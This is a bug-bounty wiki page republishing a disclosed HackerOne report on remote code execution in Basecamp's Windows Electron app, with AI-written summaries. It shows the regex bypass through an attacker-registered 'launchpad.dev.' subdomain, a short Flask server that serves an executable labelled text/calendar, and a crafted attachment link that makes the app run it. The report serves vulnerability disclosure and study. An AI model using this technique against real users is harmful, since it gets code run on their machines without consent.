Skip to content
RCE Disclosed report Intermediate

Remote Code Execution in Basecamp Windows Electron App

The Basecamp Windows Electron app downloads and executes files from internal URLs with a text/calendar MIME type. An attacker can bypass the internal domain check by controlling a subdomain and serve a malicious executable, leading to remote code execution when a user clicks the link.

co0sin Follow

Originally disclosed on HackerOne

  • Triaged in 8 hours
  • Fixed in 3 days
  • Paid in 8 hours
  • Disclosed after 27 days

The Windows application for Basecamp, allows a "Download" feature for images in your posts. Under certain restrictions, those files are downloaded and sometimes even automatically opened (executed). The file will be executed if it's a download from an internal URL and the mimetype is text/calendar. But these restrictions can be bypassed to execute an attacker crafted file.

I was able to craft a link, which when clicked by a user, will be downloaded and executed!

To get file execution on the user, we bypass the restrictions first: There is a regular expression which checks for "internal domains", which can easily be bypassed by controlling the subdomain. The host pattern is /(launchpad\.37signals\.com|launchpad\.(?:dev|test))/ and /(3\.(?:staging\.)?basecamp\.com|bc3\.(?:dev|test))/. By controlling the subdomain, and setting it to something like launchpad.dev.mydomain.com, we can bypass this regular expression verification.

Since we'll be sending the request to our own server, we simply need to return text/calendar as the content-type header. This can be seen in the Electron code in OPENABLE_MIME_TYPES = new Set(["text/calendar"]); And then when adding the URL to your post, simply add the ?attachment=true to the URL.

To reproduce, simply register any subdomain that starts with launchpad.dev. (mine is launchpad.dev.████). An HTTP server with the needed mimetype header, can be setup with Flask easily with this code:

from flask import Flask, send_from_directory
app = Flask(__name__)
@app.route('/<path:path>')
def hello(path):
    return send_from_directory(".", "file.exe", as_attachment=True, mimetype="text/calendar")
if __name__ == '__main__':
    app.run(port=80,host="0.0.0.0")

Then add the link to your post with the appropriate attachment parameter, as such: http://launchpad.dev.█████████/file.exe?attachment=true

Impact

Remote code execution on any user which clicks a link on your crafted post through the desktop app.

The original report as published on HackerOne, by co0sin. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the internal domain check uses a regular expression that matches subdomains, allowing an attacker-controlled subdomain to pass the check, and the app automatically executes files with a text/calendar MIME type.

Impact

Remote code execution on any user who clicks a link in a crafted post through the desktop app.

What the attacker needed

Windows Basecamp Electron app; attacker controls a subdomain; victim clicks a link in a post

How it was found

  1. Register a subdomain that starts with launchpad.dev.
  2. Set up an HTTP server that returns a file with the text/calendar MIME type.
  3. Add a link to a post with the attachment parameter pointing to the malicious file.
  4. When a user clicks the link, the file is downloaded and executed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The Basecamp desktop app for Windows can automatically open certain downloaded files. The app tries to only allow this for its own internal web addresses, but the check can be fooled by using a web address that looks similar. An attacker can then make the app download and run a harmful program.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.